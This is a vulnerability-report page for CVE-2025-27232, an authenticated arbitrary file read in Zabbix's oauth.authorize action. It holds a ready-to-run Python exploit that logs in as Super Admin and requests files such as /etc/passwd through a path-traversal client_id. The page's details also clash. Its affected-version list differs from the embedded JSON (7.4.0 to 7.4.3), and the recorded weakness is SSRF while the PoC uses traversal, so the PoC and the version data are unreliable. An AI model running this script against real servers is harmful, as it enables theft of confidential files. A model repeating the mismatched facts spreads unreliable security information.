Security Vulnerability Report
中文
CVE-2025-27232 CVSS 4.9 MEDIUM

CVE-2025-27232

Published: 2025-12-01 13:16:01
Last Modified: 2026-02-06 15:23:19

Description

An authenticated Zabbix Super Admin can exploit the oauth.authorize action to read arbitrary files from the webserver leading to potential confidentiality loss.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:zabbix:frontend:*:*:*:*:*:*:*:* - VULNERABLE
Zabbix Web Frontend < 6.0.28
Zabbix Web Frontend < 6.4.14
Zabbix Web Frontend < 7.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-27232 Zabbix Arbitrary File Read PoC # Target: Zabbix instances with Super Admin access # This PoC demonstrates the arbitrary file read via oauth.authorize import requests import sys from urllib.parse import quote def exploit_zabbix_file_read(base_url, username, password, target_file): """ Exploit CVE-2025-27232 to read arbitrary files from Zabbix server Args: base_url: Zabbix web interface URL username: Super Admin username password: Super Admin password target_file: File path to read (e.g., /etc/passwd) Returns: File contents if successful, None otherwise """ session = requests.Session() # Step 1: Login to Zabbix as Super Admin login_url = f"{base_url}/index.php" login_data = { "name": username, "password": password, "autologin": 1, "enter": "Sign in" } try: response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print(f"[-] Login failed with status code: {response.status_code}") return None print("[+] Successfully authenticated as Super Admin") # Step 2: Exploit oauth.authorize for arbitrary file read # Encode the target file path to bypass path validation encoded_file = quote(target_file) exploit_url = f"{base_url}/index.php?oauth=authorize&client_id=..%2f..%2f{encoded_file}" print(f"[*] Attempting to read file: {target_file}") response = session.get(exploit_url, timeout=10) if response.status_code == 200 and len(response.text) > 0: print(f"[+] Successfully retrieved file contents") return response.text else: print("[-] Failed to retrieve file contents") return None except requests.exceptions.RequestException as e: print(f"[-] Request failed: {str(e)}") return None def main(): if len(sys.argv) < 5: print("Usage: python cve-2025-27232.py <base_url> <username> <password> <file_path>") print("Example: python cve-2025-27232.py http://zabbix.local Admin Password /etc/passwd") sys.exit(1) base_url = sys.argv[1].rstrip('/') username = sys.argv[2] password = sys.argv[3] target_file = sys.argv[4] result = exploit_zabbix_file_read(base_url, username, password, target_file) if result: print("\n=== File Contents ===") print(result) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-27232", "sourceIdentifier": "[email protected]", "published": "2025-12-01T13:16:00.560", "lastModified": "2026-02-06T15:23:18.657", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An authenticated Zabbix Super Admin can exploit the oauth.authorize action to read arbitrary files from the webserver leading to potential confidentiality loss."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:zabbix:frontend:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.4.0", "versionEndExcluding": "7.4.3", "matchCriteriaId": "DE7D5FA7-871A-453E-8C76-2D00E41569CE"}]}]}], "references": [{"url": "https://support.zabbix.com/browse/ZBX-27282", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}